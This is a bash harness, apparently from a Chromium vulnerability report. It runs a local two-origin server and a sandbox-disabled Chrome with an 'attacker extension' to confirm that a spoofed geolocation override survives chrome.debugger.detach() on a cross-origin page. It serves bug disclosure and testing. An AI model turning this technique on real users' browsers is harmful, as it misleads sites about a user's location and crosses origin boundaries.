#!/bin/bash
# POC runner: launches two-origin HTTP server + Chrome with the attacker
# extension loaded, captures stderr (renderer console via --enable-logging),
# and checks for the spoofed coordinates on the cross-origin victim page.
set -u

ARTIFACTS_DIR="$(cd "$(dirname "$0")" && pwd)"
CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
PROFILE="$(mktemp -d /tmp/chrome-poc-profile.XXXXXX)"
LOG="$ARTIFACTS_DIR/chrome_log.txt"

cleanup() {
  [[ -n "${SERVER_PID:-}" ]] && kill "$SERVER_PID" 2>/dev/null
  [[ -n "${CHROME_PID:-}" ]] && kill "$CHROME_PID" 2>/dev/null
  wait 2>/dev/null
}
trap cleanup EXIT

echo "[*] Starting two-origin HTTP server (8080 attacker, 8081 victim)..."
python3 "$ARTIFACTS_DIR/server.py" &
SERVER_PID=$!
sleep 1

echo "[*] Launching Chrome with attacker extension (profile: $PROFILE)..."
rm -f "$LOG"
"$CHROME" \
  --no-first-run --no-default-browser-check \
  --disable-gpu --ignore-gpu-blocklist \
  --no-sandbox \
  --user-data-dir="$PROFILE" \
  --silent-debugger-extension-api \
  --load-extension="$ARTIFACTS_DIR/extension" \
  --enable-logging=stderr --v=0 \
  "about:blank" \
  > "$LOG" 2>&1 &
CHROME_PID=$!

echo "[*] Waiting for victim page to report geolocation result..."
for i in $(seq 1 60); do
  if grep -q "POC_VICTIM_RESULT" "$LOG" 2>/dev/null; then
    break
  fi
  if ! kill -0 "$CHROME_PID" 2>/dev/null; then
    echo "[!] Chrome exited early"
    break
  fi
  sleep 1
done

kill "$CHROME_PID" 2>/dev/null
wait "$CHROME_PID" 2>/dev/null
unset CHROME_PID

echo
echo "===================== POC LOG (filtered) ====================="
grep -E "POC_EXT|POC_VICTIM" "$LOG" | sed -E 's/^\[[0-9:.\/-]+[^]]*\] //' || true
echo "=============================================================="
echo

if grep -q "POC_VICTIM_RESULT.*spoofed=true" "$LOG"; then
  echo "[+] BUG CONFIRMED: cross-origin victim received spoofed coordinates"
  echo "    (lat=13.37 lon=-42.42) AFTER chrome.debugger.detach()."
  echo "    EmulationHandler::Disable() did not clear the geolocation override."
  exit 0
elif grep -q "POC_VICTIM_RESULT" "$LOG"; then
  echo "[-] Victim reported a result but it was NOT the spoofed coordinates."
  echo "    Override appears to have been cleared (bug fixed?)."
  exit 1
else
  echo "[-] No victim result captured. See $LOG for details."
  tail -n 80 "$LOG"
  exit 2
fi
